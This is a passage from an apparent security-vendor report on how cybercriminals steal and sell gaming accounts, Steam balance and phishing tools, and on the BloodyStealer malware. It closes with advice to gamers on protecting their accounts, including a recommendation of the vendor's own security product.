Some cybercriminals also sell so-called “Steam balance”. Depending on the origin, Steam balance can be “white” or “black”. White means sold from the seller’s own account. A player could get tired of the game and decide to sell their account, along with all associated in-game goodies, offering it on the black market, as Valve does not approve this kind of deals. Accounts like that can be used for illegal activity, such as fraud or money laundering as they do not ­– yet – look suspicious to Steam. Black balance means that the Steam accounts were obtained illegally, e.g., through phishing, social engineering or other cybercriminal techniques. Cybercriminals do their best to withdraw money by buying Steam cards, in-game items, gifts, etc., before the original owners retake control of their property with the help of the support service.

A person is outlining a scheme for stealing accounts with the help of PUBG phishing pages

Besides buying goods, darknet forum visitors can also purchase access to phishing instruments, which is a less popular offer. As you can see in the screenshot, the cybercriminal is offering a tool named “Black Mafia”. Phishing tools can even be downloaded from GitHub, after accepting the condition that these will be used for educational purposes only.

A criminal can use the tool for creating a phishing link and sending it to an unsuspecting victim. This generally follows the tried and tested flow: the victim clicks the link and inputs their credentials, which then end up in the hands of the fraudsters.


This overview demonstrates the structure of the game log and login stealing business. With the gaming industry growing, we do not expect this cybercriminal activity to wane in the future – on the opposite, this is the area in which we are likely to see more attacks as tools for targeting gamers continue to develop. BloodyStealer is a prime example of an advanced tool used by cybercriminals to penetrate the gaming market. With its efficient anti-detection techniques and attractive pricing, it is sure to be seen in combination with other malware families soon. Furthermore, with its interesting capabilities, such as extraction of browser passwords, cookies, and environment information as well as grabbing information related to online gaming platforms, BloodyStealer provides value in terms of data that can be stolen from gamers and later sold on the darknet. The overview of game-related goods sold on the darknet forums, too, confirms that this is a lucrative niche for cybercriminals. With online gaming platform accounts holding valuable in-game goods and currency, these become a juicy target. Although purchasing accounts is a gamble, as these may or may not contain goods that can be sold, cybercriminals are willing to take a bet – and are certain to find customers that are looking to save on entertainment.

To minimize the risks of losing your gaming account, follow these simple tips:

  • Wherever possible, protect your accounts with two-factor authentication. For others, comb through account settings.
  • A strong, reliable security solution will be a great help to you, especially if it will not slow down your computer while you are playing. At the same time, it will protect you from all possible cyberthreats. We recommend Kaspersky Total Security. It works smoothly with Steam and other gaming services.
  • It is safer to buy games on official sites only and wait for the sales – these take place fairly often and are typically tied to big holidays such as Halloween, Christmas, Saint Valentine’s Day, so you will not be sitting on your hands for long.
  • Try to avoid buying the first thing that pops up. Even during Steam’s summer sale, before forking out the dough for a little-known title, at least read some reviews of it. If something is fishy, people will probably have figured it out.
  • Beware of phishing campaigns and unfamiliar gamers contacting you. It is a good idea to double-check before clicking website links you receive via email and the extensions of files you are about to open.
  • Try not to click on any links to external sites from the game chat, and carefully check the address of any resource that requests you to enter your username and password: the page may be fake.